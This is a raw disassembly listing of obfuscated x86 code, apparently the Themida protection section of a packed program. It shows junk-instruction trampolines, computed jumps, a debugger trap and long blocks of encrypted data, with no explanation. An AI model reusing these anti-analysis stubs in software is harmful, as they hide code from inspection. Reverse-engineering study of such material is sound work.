; =============== S U B	R O U T	I N E =======================================



sub_5A443B	proc near		; CODE XREF: Themida_:005A4433p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 14h
		inc	edi
		push	edi
		retn
sub_5A443B	endp

; ---------------------------------------------------------------------------
		dec	ebp
		jge	loc_5A445F
		jmp	loc_5A445F
; ---------------------------------------------------------------------------
		db 3Ch
		dd 0F1A8AC64h
		db 57h,	7Ah, 90h
; ---------------------------------------------------------------------------


loc_5A445F:				; CODE XREF: Themida_:005A444Cj
					; Themida_:005A4452j
		push	dword ptr [ebp+6A814A1h]
		push	0
		push	edx
		call	sub_5A4470
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5A4470	proc near		; CODE XREF: Themida_:005A4468p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Bh
		inc	edx
		push	edx
		retn
sub_5A4470	endp

; ---------------------------------------------------------------------------
		sub	esi, edi
		xchg	ch, bl
		fstp8	st(1)
		enter	33A8h, 95h
		mov	ch, 16h
		test	al, 6
		jmp	loc_5A4498
; ---------------------------------------------------------------------------
		db 0F3h
		dd 2D9CF564h
; ---------------------------------------------------------------------------


loc_5A4498:				; CODE XREF: Themida_:005A448Ej
		call	dword ptr [ebp+6A820DDh]
		push	0
		push	edx
		call	sub_5A44A9
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5A44A9	proc near		; CODE XREF: Themida_:005A44A1p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Bh
		inc	edx
		push	edx
		retn
sub_5A44A9	endp

; ---------------------------------------------------------------------------
		or	ecx, [ecx-11020DD8h]
		or	[ebx], edi
		mov	[ebp+6A82151h],	edi
		push	0
		call	dword ptr [ebp+6A81B31h]
		mov	eax, eax
		jmp	short loc_5A44FC
; ---------------------------------------------------------------------------
		db 0FFh
		dd 9AF4AA85h, 54839CE3h, 15D734FFh, 380AB2C7h, 6C114463h
		dd 0C0711DDCh, 0B434AE87h, 0FF587185h, 30ECF368h, 0ED2BA960h
; ---------------------------------------------------------------------------


loc_5A44FC:				; CODE XREF: Themida_:005A44D1j
		jmp	loc_5A4525
; ---------------------------------------------------------------------------
		db 43h,	0B1h, 0F0h
		dd 73h,	7 dup(0)
		db 0
; ---------------------------------------------------------------------------


loc_5A4525:				; CODE XREF: Themida_:loc_5A44FCj
		jmp	loc_5A512D
; ---------------------------------------------------------------------------
		push	6ADAC99h
		jmp	loc_55E058
; ---------------------------------------------------------------------------
		push	6ADAD87h
		jmp	loc_55E058
; ---------------------------------------------------------------------------
		push	6ADAF54h
		jmp	loc_55E058
; ---------------------------------------------------------------------------
		push	6ADB040h
		jmp	loc_55E058
; ---------------------------------------------------------------------------
		push	6ADB308h
		jmp	loc_55E058
; ---------------------------------------------------------------------------
		push	6ADB480h
		jmp	loc_55E058
; ---------------------------------------------------------------------------
		push	6ADB55Ah
		jmp	loc_55E058
; ---------------------------------------------------------------------------
		mov	cl, 0CDh
		aaa
		xchg	eax, esi
		and	[esi+30AF2340h], dh
		int	3		; Trap to Debugger
		scasd
		fld	tbyte ptr [esi+255D3152h]
		fistp	qword ptr [esi+3BA7571Fh]
		rcr	dword ptr [esi+ebp+592D4EB0h], 2Ch
		fdivr	dword ptr [ebx+436094C7h]
		add	esi, edi
		pushf
		jo	short loc_5A45F0
		or	al, 58h
		cmp	eax, 0B9D2DDF4h
		dec	ebp
		fld	dword ptr [esi]
		jmp	dword ptr [esi]
; ---------------------------------------------------------------------------
		db 5Dh
		dd 7569BE91h, 629A844Dh, 5BDABDB4h, 6704F0EBh, 48F9BB24h
		dd 5EE11D4Ah
; ---------------------------------------------------------------------------


loc_5A45C0:				; CODE XREF: Themida_:005A4631j
		mov	eax, ds:0F9564841h
		pop	ebx
		push	edi
		pop	ebx
		and	dl, dh
		inc	esp
		in	eax, 22h


loc_5A45CD:				; CODE XREF: Themida_:005A45D2j
		mov	edi, 0E40CB664h
		js	short loc_5A45CD
		cmpsd
		pop	esi
		mov	edx, 98DDFB15h
		pop	ds
		push	esi
		rol	dword ptr [ecx+0], 0
		add	[esi-1Bh], ch
		cld
		mov	esi, 17724081h
; ---------------------------------------------------------------------------
		db 0EBh
; ---------------------------------------------------------------------------


loc_5A45EB:				; CODE XREF: Themida_:loc_5A45F0j
		cmp	esi, esi
		aaa
		jmp	short loc_5A461E
; ---------------------------------------------------------------------------


loc_5A45F0:				; CODE XREF: Themida_:005A4599j
		loop	loc_5A45EB
		pop	ebx
		rep mov	al, 8Fh
		dec	esi
		sub	al, 80h
		sub	eax, 52CDA7F6h
		rol	dword ptr [ebx-5Fh], cl
		jno	short loc_5A4630
		mul	byte ptr [edi-77F835h]
		test	[esi], cl
		in	al, dx
		mov	ecx, 488F747Ch
		and	ebx, [esp+esi*2]
		inc	esi
; ---------------------------------------------------------------------------
		db 8Ch,	0F5h, 32h
		dd 1F063254h
		db 56h,	3Ch
; ---------------------------------------------------------------------------


loc_5A461E:				; CODE XREF: Themida_:005A45EEj
		into
; ---------------------------------------------------------------------------
		db 0
		dd 0D2050000h, 4BD94DB9h, 7185F61Fh, 649D7CBDh
; ---------------------------------------------------------------------------


loc_5A4630:				; CODE XREF: Themida_:005A4601j
		outsb
		jno	short loc_5A45C0
		or	bl, [eax-0E5AAEF6h] ; CODE XREF: Themida_:005A463Aj
		out	dx, al
		loopne	near ptr loc_5A4633+2
		add	eax, 8FEF1091h
; ---------------------------------------------------------------------------
		db 67h,	0FEh, 0A1h
		dd 30F3325Eh, 0E41DE982h, 4B1DDC99h, 4ACD6E1Eh,	0EE9A1829h
		dd 1E238614h, 0A18950FCh, 3821D5Eh, 0A18ED6DFh,	6F9BCC5Eh
		dd 0C57191D2h, 905EA18Ch, 99ED8E11h, 0D881AEEh,	7999A6E4h
		dd 5BF98F6Ch, 0F6B5D649h, 54B64B09h, 0A2A03590h, 717D821Dh
		dd 0FCD2F309h, 0E59C7E84h, 13F8E31h, 9B32293h, 1B4B0000h
		dd 9CCEBCE1h, 0E75496Ah, 84FDD1F2h, 7B675B78h, 3539DC81h
		dd 0C6E71D45h, 57748AF0h, 0DDFE0A63h, 690AFEE9h, 5AF2145Bh
		dd 17580C52h, 0B6D2A79Ah, 0A5C31928h, 0D554C632h, 2EC0CA16h
		dd 56DB4BBFh, 37714F7h,	28FF9C68h, 81BEFCE5h, 0F9E25861h
		dd 0DC8B075Bh, 57FF1F20h, 22A7F62Ch, 29D0083h, 2CC26E90h
		dd 37A0A7F6h, 0A4DD53C3h, 374CA58h, 0F18227F7h,	1DB9903Fh
		dd 9ABC527Dh, 84561EE0h, 0BCh, 4DB9D2ADh, 0E51F4BD9h, 0F9068F31h
		dd 4B3C5EA1h, 214182BFh, 0A15E05F5h, 1A9A61C0h,	9F3C91AEh
		dd 7B4F2CEFh, 0A726F400h, 0A7C7783Ah, 0A40619BEh, 800BA8FBh
		dd 0FA1C2567h, 0A2AFA9CDh, 5DA1DED4h, 3AA968C9h, 96798DF8h
		dd 947D6569h, 8AB716ECh, 5754E473h, 88B4154h, 916B176Bh
		dd 8EBDE22Dh, 75D84A3Fh, 8C5h, 0B2D32955h, 3F5CAADCh, 0C3E01C4Bh
		dd 4D6E92CFh, 0DAFB0179h, 27433B33h, 9CCAB8DDh,	184D4162h
		dd 80FBCFECh, 0EA2D5774h, 0C536C88h, 0B1E02958h, 2D5FB6D2h
		dd 7E64BDBh, 29515D66h,	89E250D3h, 0DC27587Dh, 0A40A8299h
		dd 88EA17AFh, 5EA1026Ch, 2437F629h, 2D5EB9D2h, 5E445D9h
		dd 0CFA281FCh, 4ED09D11h, 0AF7F8BFCh, 851B8B0Ah, 68526D2h
		dd 68669BD9h, 10EC9B7Eh, 0FDBCFDB1h, 7A5BE204h,	8D145BF9h
		dd 37D08B19h, 45E4B64Ah, 9ACDC1E2h, 0C402BC6Eh,	40087D9Dh
		dd 32A59F30h, 169CA5C6h, 9F02906Ah, 0C93DAE1Ch,	53048A55h
		dd 973AE4A7h, 363B75A7h, 545A2D62h, 0FD51D02Eh,	0CDC17E8Ah
		dd 0F40E7A97h, 61208115h, 29DD8EFCh, 57136A75h,	41D0C055h
		dd 75A27C3Fh, 0C2709F86h, 0E4EA9D32h, 378706FCh, 4E8FB044h
		dd 75EC802Ch, 0FD36CD3Bh, 0DEED4A4Eh, 5F3CFF5Eh, 0C93DA826h
		dd 0E155D455h, 5E666F6h, 31B7E65Dh, 9079DC4Eh, 90CD2DD2h
		dd 1D3E2D20h, 8614E891h, 0E1B54930h, 5D7EE140h,	4EF3B15Eh
		dd 0D564192Ch, 6B3B6A04h, 257F18B9h, 2061A206h,	257F963Eh
		dd 0C140E306h, 0C8EE008Fh, 0D6B54B93h, 48Ch, 1C9C0D7Bh
		dd 4F90B1F3h, 0A1FE872Fh, 0ED0DD25Eh, 5EA1FE41h, 7332950Ch
		dd 0B4364D8Eh, 7C1903E7h, 229B47C6h, 0F5BF994h,	6D106B94h
		dd 0F60ADEEFh, 0AAC224DDh, 0E7A7F972h, 0CA1CFDBCh, 0CB03233Fh
		dd 0BF7ECE2h, 8618729Bh, 4182924Fh, 3FD85FDEh, 0E7A2C47Dh
		dd 0A8477195h, 545AA579h, 0E544D62Ch, 783AA722h, 9648A7C7h
		dd 89054E19h, 367B2BD1h, 0B324AA57h, 27502647h,	0FF2A73D3h
		dd 0C9EC21Bh, 6F881h, 24DE8600h, 0AF593387h, 3FC3B80Eh
		dd 4DB1289Eh, 0D42E5A28h, 0BE6014B7h, 279B38C2h, 502647B9h
		dd 0DEACD125h, 83459ADh, 510FA7C7h, 0CD4A580Ch,	4DB9D2D2h
		dd 0BF433EB4h, 19956EFCh, 0AB0E9C60h, 0D12D5AE8h, 0D3E1ACh
		dd 0E50E0000h, 6F90BCFEh, 3DFC0863h, 791F5756h,	129EB856h
		dd 73805CC7h, 91000000h, 83BCFEE5h, 5613E578h, 0A6698EB6h
		dd 2983959h, 4AD55EA1h,	0E5114AD8h, 6D99F2C0h, 95B35CB9h
		dd 1DA9EA12h, 0D26FCE96h, 0DF5EA4DCh, 7679C022h, 0AA285BF9h
		dd 0D944C733h, 0B042B946h, 0B1C3072Bh, 571D9110h, 638BEB2Ch
		dd 2EA7F934h, 4B4434F7h, 469DC13Ch, 0F4E71BCAh,	63832B4Bh
		dd 57CEA7F9h, 0B594B2D4h, 79A561Fh, 0A7000000h,	0D6EDh
		dd 0FCE50200h, 586181BEh, 655BF9D0h, 3543583Ah,	71E33474h
		dd 60C1Ch, 8F29200h, 9365176Bh,	1BE79CF2h, 0A15D047Ah
		dd 28D28EFCh, 928CE08Bh, 1B6F0CF6h, 9CF2936Dh, 0A781DE9h
		dd 0FC00A551h, 4E335BBBh, 317E580Ch, 0BCFEE51Eh, 8A1DFD90h
		dd 707323DFh, 0A1FEE60Eh, 8270B35Eh, 4A8519E5h,	6B200986h
		dd 0A6DDAAE5h, 7A6DBDADh, 1B644B8Eh, 103650D3h,	1E5CC7F7h
		dd 47h,	0BCFEE523h, 0B11BFD90h,	0F81EF0DFh, 0E65CC70Eh
		dd 33h,	0AFFEE54Bh, 0D958CA3Eh,	2E27DA76h, 4623AF50h, 0C649E8BAh
		dd 244F19B6h, 4D5EA206h, 0BD413EB4h, 0E21875BEh, 26E9713Eh
		dd 0C6BE2740h, 0FEB5095Ch, 0E516FFFFh, 0FD90BCFEh, 0A9E66AF4h
		dd 0C70F2147h, 25E0D5Ch, 9F120000h, 0EC293B64h,	0F1B03183h
		dd 4FDF255Dh, 0AE7C80F9h, 0E9C6218h, 697BDECFh,	483A7209h
		dd 21B68F1Fh, 6CA65B01h, 0A050198Dh, 54A0D5EFh,	948063C6h
		dd 91C9F3DCh, 0C744A6Bh, 38A124F6h, 0E4A5C57Ah,	0A95BF975h
		dd 10827E65h, 537C2E91h, 87FDF132h, 0DA04A579h,	0A7F98FB2h
		dd 93E5A4FFh, 0A05A063Ch, 4DD38F03h, 3A536B97h,	5BDF0BCEh
		dd 0C7F9AD0Ch, 0A7F9DFABh, 0B5699FC9h, 0F6937467h, 64FBAB0Ah
		dd 0A1D2FBD4h, 8E781260h, 6A1A9D1Ch, 245C5225h,	0F3EF5FDEh
		dd 6A166409h, 0BAC10290h, 0BEA01F2Dh, 0A7F91A16h, 0C505C063h
		dd 109716FCh, 0C03AA6F7h, 7FCF52h, 288B2EFCh, 14E09B17h
		dd 0D9638BEBh, 0F72EA7F9h, 48ACB34h, 3CE2A551h,	0A2A1CE01h
		dd 71923372h, 3AFD0B7Dh, 0EF1052BFh, 5616568Fh,	52C063A9h
		dd 0A61A04B0h, 0A6E9BFB2h, 0F30C4EABh, 0FE094A93h, 9F3C67B7h
		dd 0D644B02Bh, 7F871740h, 0E512E8AEh, 7E3D5EC1h, 0CC2ED391h
		dd 0BEA614FDh, 0B78659A4h, 85975A0Dh, 0E4B64A31h, 9A5FC245h
		dd 1D916D14h, 932A429Ch, 3C678016h, 0B12EA45Dh,	0D958D94Dh
		dd 93779B45h, 82CD8016h, 0ADA8560Ch, 39F7F560h,	5D2FEEA0h
		dd 757A9C72h, 3F643B7Eh, 0CD000000h, 81BEFCE5h,	0F9E25861h
		dd 0EE5E655Bh, 23C455ACh, 0FBC92C53h, 0EEBF597Ch, 0CD659F0Fh
		dd 77A7F680h, 7ABBCCC3h, 0F680FC18h, 1E8DE1A7h,	52F6813Ah
		dd 0B5D554CFh, 561E3B93h, 0B19Bh, 0B9D2A400h, 403EB44Dh
		dd 0CA4DECBEh, 697C8758h, 5FFDDA0Ah, 7886FC4Eh,	368407AAh
		dd 0ACE2B04Ah, 0F132CF3Bh, 0A1A26591h, 9B6D1F5Eh, 0B3299D04h
		dd 8758CA4Dh, 0E0A35D0Bh, 34CD3952h, 6F3FC3BEh,	382A4BCAh
		dd 5EA1A5FDh, 32A8D6DCh, 6FD48467h, 0A97DDC62h,	42358908h
		dd 699615B6h, 45F4162Bh, 2E5BF815h, 1C444AF7h, 89F1C5E6h
		dd 389E9373h, 0D84A3476h, 34475h, 50AADA00h, 0DB2D5F33h
		dd 639FC4BAh, 0E9154C42h, 708AF6C4h, 0DAC4A853h, 433754AEh
		dd 0C4BADB25h, 72406591h, 0B4C8ED19h, 4DFB1373h, 79B6580Ch
		dd 4CB6D246h, 0D4205B2Fh, 0B9D260B7h, 0C506D94Dh, 0A1FE09A5h
		dd 5ADD445Eh, 6A0BFFE8h, 0D72D5559h, 3023E247h,	0D94DB9D2h
		dd 2FCFFF06h, 170DF878h, 41B52694h, 6C70991Ch, 0A101E20Ah
		dd 9574AF5Eh, 3BA72B6Ch, 12CC6DC1h, 5EA101FAh, 54AD6CB7h
		dd 0F90CC732h, 0A579A85Bh, 0F91ED77Bh, 0E2AD6DA7h, 1FF2EA0Ch
		dd 36F456h, 0E55D0000h,	6181BEFCh, 5BF9E258h, 8A4C607h
		dd 45A7F62Ch, 5DC45BDAh, 2CFB17C9h, 0B141A7F6h,	0E0D6F01Eh
		dd 0C2D0561Eh, 6ACF5FABh, 0F05EABh, 810D0000h, 706322D6h
		dd 205EB9D2h, 0AED4CDEh, 0A45E0A98h, 0C337A0F6h, 64029053h
		dd 0E6A9089Ah, 93C42354h, 9372B767h, 0F925F0F2h, 0AED95EA1h
		dd 24AE204h, 9C07A15Eh,	1C67983Dh, 23E28B31h, 37ECC9Fh
		dd 0DD8E3CFFh, 0F7107529h, 936A8CB5h, 3EA40569h, 4ECF15C7h
		dd 64D62065h, 9807867Ch, 0B8216409h, 0AAAC569Eh
		dd 0AF01C43Eh, 20E14071h, 4DF9725h, 89082AFBh, 59E91678h
		dd 3FCAA2AFh, 9E8AD9D9h, 59E649F5h, 69B2E222h, 0C84BD298h
		dd 55B5F637h, 0AC0DF639h, 0D86A2D74h, 0ED1349A0h, 6D15690Ah
		dd 0F1D43797h, 0AE3C3F8Fh, 1CC27h, 0C8325200h, 53A5D7ABh
		dd 0DB275C32h, 619DC4BAh, 0E8124E3Ch, 524C20CBh, 0DBAFCC36h
		dd 5C3253ADh, 0CAB8DD29h, 3C406591h, 4A739BFBh,	0F13E580Ch
		dd 4CB6D2DEh, 8A205B2Fh, 0A1FECC68h, 0B716895Eh, 0FCE50316h
		dd 5CCE3AADh, 0A5C57ADDh, 5BF9E264h, 0FA24F629h, 0A7F62C56h
		dd 8D632CECh, 561EE16Bh, 0BE73h, 0B9D2DC00h, 1F4BD94Dh
		dd 2A565CE5h, 5CDF42D0h, 0F99914CEh, 0C2B55EA1h, 116C9536h
		dd 0E4DCFD47h, 7AC84B74h, 0A421F501h, 0A6C8793Bh, 0A405755Fh
		dd 0A1E48918h, 84C57A38h, 0F69FCA62h, 0CD31A8A7h, 0B34CCF56h
		dd 0AF158B53h, 42FF26A2h, 769EC001h, 43AC0D3Ch,	0F5ED21E0h
		dd 8BFCF20Fh, 8B0AAF7Fh, 0ACD5D9EAh, 0DC5FC250h, 2A88726Eh
		dd 3F8F3BDBh, 0F220AD3Fh, 88000000h, 398D2ED4h,	0A614B94Fh
		dd 0D2A0C539h, 542A4BB7h, 16B5D62Ch, 3EC4BC5Eh,	4DB3299Dh
		dd 0D7235A28h, 6397C0B6h, 9DFD0242h, 580C4B71h,	0D2DCF33Ch
		dd 0BB215FB6h, 0EE9E892Dh, 0EF4E3196h, 7B8FF8CEh, 6C92C8C6h
		dd 9F59C8ADh, 0A329964h, 0DA65F0D6h, 0A7F55163h, 76C44726h
		dd 949505h, 3E829123h, 0C934CF5Fh, 1D870C30h, 43F3B285h
		dd 0FCBFDC28h, 55B05113h, 0D1249A97h, 0FD232638h, 841C4EB6h
		dd 53B34CCFh, 5BFD964Bh, 4CBA2C66h, 12954EDh, 49E4D68Ah
		dd 2C48AA57h, 69A7F24Eh, 51E77736h, 0DDB1D226h,	12CC5EAAh
		dd 72BF4B98h, 714B441Ch, 414DF206h, 7084F116h, 1D9C7FA2h
		dd 0A5510A78h, 3AC6A3F1h, 2CD08905h, 575BF313h,	8F16DD57h
		dd 9B759E0Ch, 0A95D0E34h, 55C5B604h, 1EC3CD74h,	0B86ACDF8h
		dd 855h, 403EB400h, 0E0ECFFBEh,	48B2D2F1h, 0E71344DAh
		dd 0F4E137h, 98661C92h,	36CCB40Ah, 50AAD664h, 0E9154CC2h
		dd 4F8E735h, 0A0560096h, 895214F2h, 4C281E2h, 83000000h
		dd 148704EAh, 24248B24h, 81E28952h, 4C2h, 4EA8100h, 87000000h
		dd 895C2414h, 8950243Ch, 405E0h, 42D0000h, 87000000h, 895C2404h
		dd 5055242Ch, 364F92B8h, 3436350Ch, 0E8C16630h,	0F7D8F706h
		dd 1235D8h, 0C5893752h,	0C55FBF58h, 0EF293DA7h,	2C8B545Dh
		dd 4C48124h, 81000000h,	4ECh, 243C8900h, 8B08458Fh, 8952242Ch
		dd 4C281E2h, 83000000h,	148704C2h, 3C8B5C24h, 0E0895024h
		dd 405h, 40500h, 4870000h, 39E95C24h, 78FFFB8Fh, 0B470EF9Ah
		dd 0D42C7131h, 27F09600h
; ---------------------------------------------------------------------------
		movsd


loc_5A512D:				; CODE XREF: Themida_:loc_5A4525j
		mov	eax, 6ADB671h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		dw 528h
		dd 5EEF11EAh, 0B81E6002h, 875475B1h, 1DA82F07h,	0D8E97A1Dh
		dd 1044303Bh, 32B75072h, 8E7035A9h, 65EC7E6Ch, 82FF1201h
		dd 8A5C2420h, 0B97470B6h, 405513E7h, 0F7EF30D6h, 0E3450132h
		dd 19F1701Ah, 0A6CA5803h, 3C6B3C80h, 27BD62CEh,	247471ECh
		dd 0A1B43B9Dh, 90451498h, 0E83D83h, 39C87A34h, 78E935D3h
		dd 0F0A424FAh, 37924AE9h, 298602A2h, 13187E96h,	0E263585Dh
		dd 42E9645Fh, 0C3000000h, 450D24h, 57000000h, 434AC51Ch
		dd 0F9366148h, 88A7A5ADh, 0FB75528Ch, 9CBE00B7h, 7EE5ADF9h
		dd 9D8993h, 921DF4C7h, 0DE196063h, 5 dup(0)
		dd 0A75E900h, 0FD680000h, 0E906ADB8h, 0FFFAC5C6h, 0ADBA7268h
		dd 0C5BCE906h, 7668FFFAh, 0E906ADBBh, 0FFFAC5B2h, 0ADBC0468h
		dd 0C5A8E906h, 0E168FFFAh, 0E906ADBCh, 0FFFAC59Eh, 0ADBDBF68h
		dd 0C594E906h, 5A68FFFAh, 0E906ADBEh, 0FFFAC58Ah, 0ADC00468h
		dd 0C580E906h, 2368FFFAh, 0E906ADC1h, 0FFFAC576h, 4EDC95B4h
		dd 0B90D48E5h, 0EF3B7216h, 0DF6B2E44h, 89ED374h, 324EE83h
		dd 3757F84Eh, 0E1832C7Ah, 92B112A8h, 0DDF4FDBh,	58EBFFBh
		dd 0D84785B6h, 0D80EB5E7h, 58F35AEh, 0A0C82BB6h, 0C55344E9h
		dd 9EA103Bh, 7587236Ah,	14C7C0Eh, 0B218901Bh, 8F3B7211h
		dd 0EA4E0324h, 547ED79h, 0B605D205h, 0F5BCDCFFh, 508CC21Ch
		dd 0F43B65CAh, 0AB1E3A4h, 6A1CAADCh, 4DE6BCB3h,	5E173699h
		dd 5C467C8h, 97802D68h,	0AECE08BEh, 4E7BACEAh, 33BEC01Ah
		dd 0FF2960BCh, 0D341CAB9h, 3151B268h, 94363C7Ch, 0C35BDEC5h
		dd 0DB7494BFh, 35E5CE71h, 8C10DF6h, 67020000h, 1A37982Eh
		dd 0C068CB5Fh, 0FC923D89h, 0A1C26DB9h, 0A0D15EECh, 0E9CD172h
		dd 72C885A5h, 0ACFAB3D1h, 9D296003h, 71A9D309h,	53B6058Fh
		dd 5CFF2E15h, 74178815h, 0FE5EE93Dh, 0F867A145h, 0CAB5FFF5h
		dd 6B2E43ACh, 0ED2DD5C6h, 0F3B5FFF5h, 0FFF65149h, 0C61833B5h
		dd 2F2F746Dh, 0B5FFF5E7h, 0D5765983h, 0FABB1098h, 77CD0CF8h
		dd 47EB14h, 0E73C0000h,	0F7D80EB5h, 13C21C55h, 0C7FF439Eh
		dd 0AAD01A9Eh, 3E632A49h, 62BD4BEDh, 20B60053h,	13B5D3F7h
		dd 0B6005317h, 75D642EDh, 52B1F5h, 0AC17CDB6h, 4059C68Bh
		dd 0A6F2BFDFh, 7A5664CDh, 9D1477AAh, 104h, 3459BAA6h, 0D5782771h
		dd 0ED8E179Ch, 0AAE3826Dh, 57D72860h, 58311AAFh, 84A40FDBh
		dd 0C06D2845h, 78B1FED7h, 85CC6F30h, 90DD7E61h,	35C01A13h
		dd 9ED22542h, 0CB543761h, 0A3A5E1A8h, 0AF585360h, 0DD692043h
		dd 9A69A537h, 0F6D267E9h, 9F5EFDA2h, 316AB7F2h,	0E252DB58h
		dd 0D01BAD59h, 0B2B60022h, 0B9E70D99h, 230B0Fh,	8CBFF9B6h
		dd 6DBACA87h, 7FC86059h, 64066DDh, 0BCAB21AAh, 0ED0BBF98h
		dd 802D6002h, 3C7D3E76h, 0DFC8FA29h, 0F399912Bh, 0C06BBCAAh
		dd 0EBA6C768h, 0FFB2D43Fh, 553F79B2h, 6B2E44AFh, 881558FAh
		dd 0F596199Fh, 0E6470230h, 0F2160F46h, 0EC7F5D57h, 4C897AB9h
		dd 8D000007h, 0BC67A3EAh, 0EB54D297h, 1D86044Dh, 4DF63471h
		dd 5E25612Ch, 1B56F71Bh, 4F02248Fh, 7D3458FBh, 0AEE78629h
		dd 2C5E8C18h, 0B60590ECh, 0FFAB90D6h, 0B2F79B5Eh, 43E24DD9h
		dd 456BC0Ah, 3193CFE3h,	4368C015h, 0D80EB5E7h, 901851F7h
		dd 0A0C32C4Ah, 0C55344E9h, 4EC03h, 497DD6B6h, 5A19923h
		dd 0C863B600h, 3B7B8360h, 57B60005h, 4C01228Dh,	8962B6E7h
		dd 0F83E2A28h, 0C0D91477h, 62000000h, 88155CFFh, 0ADDA7617h
		dd 0C153ADA8h, 0A2A409E2h, 0AF58305Fh, 0D2682144h, 169BD271h
		dd 0E4BE7C8h, 0E5BF1DAAh, 0F8B9D5B9h, 78AE874Dh, 1E57F1D2h
		dd 0A6FD4C9Ah, 6CC7B600h, 0B9CF6DDEh, 0A70B0Fh,	655EF9B6h
		dd 459A0741h, 0CF68BCABh, 7612FD1Bh, 21B9F23Fh,	0FEC13491h
		dd 941B9D53h, 0E208BEF3h, 0AB996058h, 0E28122BCh, 0F214B2ABh
		dd 0BCAB98B6h, 8F75A38Ch, 9A4E0324h, 0EC7EB879h, 48C3BC7Fh
		dd 89000006h, 0C063A7EEh, 0EF50D693h, 19BA0049h, 49EA3075h
		dd 5A216528h, 175AFB17h, 430E3093h, 71385CC7h, 0A2EB8A35h
		dd 205A8064h, 0B60591E8h, 0FFB79CDAh, 0B0F99B5Eh, 0BDE043C7h
		dd 0FF89B6F4h, 0B2FB9D5Ch, 0A6CB3C6Dh, 0FCA50AE3h, 708A1059h
		dd 0AF57D734h, 487EC577h, 58EBB3Eh, 78AE89B6h, 1C51F1D2h
		dd 3970139Ch, 0A72342EDh, 58F2565h, 5B341FB6h, 5CE755D6h
		dd 95011CAEh, 0E0C3BCADh, 70A9F6B3h, 0BCBC6187h, 0FD3EEC7Ch
		dd 5BA04h, 155CFB00h, 44012E91h, 723B5DC6h, 0A2E78B34h
		dd 0D79ABB64h, 6DA5D453h, 9A0581CCh, 0CE71B5F8h, 0A3E7AEh
		dd 1696145Dh, 9376B2D4h, 0E4CB605h, 3F59BA21h, 0D70901BBh
		dd 50FBAF57h, 0B7E13A67h, 0E48445E8h, 571A3CADh, 0CD70317Eh
		dd 4D6B0D65h, 0EFD89D39h, 0E47E142h, 175200A1h,	0F1B22B8Ah
		dd 0EDB61F62h, 0B80E47E6h, 0DFAF201Ch, 6304EF12h, 0A8812Eh
		dd 7F2h, 73DF5500h, 0FA000001h,	57D75EA6h, 44FF5DAFh, 8EDA64A6h
		dd 8FA8B605h, 65BB3D5Bh, 90D97CC0h, 0EF1C5046h,	8647E649h
		dd 120BA8E5h, 9C07ED39h, 3B6CB1F8h, 5A1332FDh, 0BAE054D5h
		dd 18BAF4BCh, 18CEA75Ch, 397C11F2h, 0C507A3F4h,	0B60590C5h
		dd 0C20494BFh, 0BCAD96ABh, 0CD0ABE99h, 0F3EC7CBAh, 4DD4F30h
		dd 7B1E0000h, 264BF432h, 0DC7C2763h, 80AE1195h,	0BDDE41C5h
		dd 8C2DAAF0h, 12A8E586h, 4EDC91B1h, 0B80E47E5h,	0E93D7417h
		dd 5D5DEF7Dh, 27B60593h, 5CFF3AE1h, 0ADBEADF4h,	5E375FA8h
		dd 642D50D1h, 88C5663Fh, 94D97A2Bh, 42E3C80Fh, 3EE74CB3h
		dd 0A95D1437h, 0C76C2946h, 12F842D6h, 67D89DB1h, 892D8BC6h
		dd 12DF619Dh, 83CE6F50h, 69AB0D1Eh, 7, 9CDFB2h,	0E7FA0000h
		dd 0B2D80EB5h, 8793C51h, 0A8812E6Bh, 8E8DC600h,	0DC77B605h
		dd 22A6C52Eh, 58EA098h,	0D0C962B6h, 3E7A8C2Ah, 4B6058Eh
		dd 9C078D2Bh, 0A90AB0F9h, 0F152C68Fh, 0A5E88A75h, 0BB00B473h
		dd 456BFD0Fh, 0FE59BCB3h, 0D44E7C8h, 3E7716B9h,	3F8428F1h
		dd 5F6A718Bh, 0FF58C35Bh, 0CEF308C9h, 58298AE5h, 3FFh
		dd 0CA501940h, 581C469h, 73B7FE9Ah, 0A3E7A2D0h,	94125F00h
		dd 87A86A0Fh, 0B3D37CCAh, 6507A8FEh, 16359E2Ch,	8953CB5Fh
		dd 5943B7Fh, 64C309B6h,	107DFh,	0B5E7FA00h, 55F7D80Eh
		dd 1286971Ch, 2741A2C8h, 0C73CCA6Eh, 0BDB6058Eh, 0E88B7492h
		dd 9BBA65A1h, 68CC4DD2h, 439537D3h, 1BCB347h, 0DAB3FA9Eh
		dd 0E9A0C32Ch, 9253F25Dh, 5FC4BDF0h, 21C57EDEh,	474941FBh
		dd 103BBCB3h, 21285298h, 0E3C35B61h, 19D198C0h,	0F2B30EC3h
		dd 70A88170h, 0E5CED5ABh, 6475CEEDh, 0A5000003h, 0D47FCB82h
		dd 3ACFABFh, 359E2C65h,	65CE5C19h, 0B63D89C4h, 236E0F03h
		dd 571A3CE7h, 85CC70D3h, 0B6FF9E01h, 0D476F470h, 0B60594D4h
		dd 0FFC368AEh, 1788155Ch, 26893D74h, 0ECA1C104h, 0BCF192F3h
		dd 0A3088F7Ch, 1158FB02h, 87C16F95h, 0AF57D783h, 0BE1CD641h
		dd 5F7BC16h, 0AA861286h, 6512DFC6h, 3091D47Ah, 0CDDE430Eh
		dd 32A96Bh, 39B30000h, 0F605D355h, 81385BEh, 0D80EB5E7h
		dd 2715AEh, 0A644EFB6h,	0D4521B3Dh, 0E9A4C52Eh,	277EB94Fh
		dd 625B600h, 3058FB4Fh,	0C44B3479h, 6E000002h, 0F6145DFFh
		dd 0F825600Dh, 99A09AFh, 3CE7236Ah, 17D35019h, 6CD7EEC5h
		dd 0BE6CE9CDh, 58040C0Ch, 0DB5DF6AFh, 22783154h, 5A803B99h
		dd 22BD20h, 9A05A3B6h, 1008B2FBh, 0F2B60023h, 631DF59h
		dd 23555199h, 9A71B600h, 9E2D1919h, 55C81477h, 92000000h
		dd 0DE5A1331h, 0EA1CBAD5h, 0AF57D6AEh, 5F123394h, 0C7753266h
		dd 0E13C4E7Ch, 0A3B60004h, 5070345h, 52FDB600h,	0E5274D79h
		dd 0B60005A5h, 8764B49Fh, 9DD4785Bh, 57910710h,	0B600064Fh
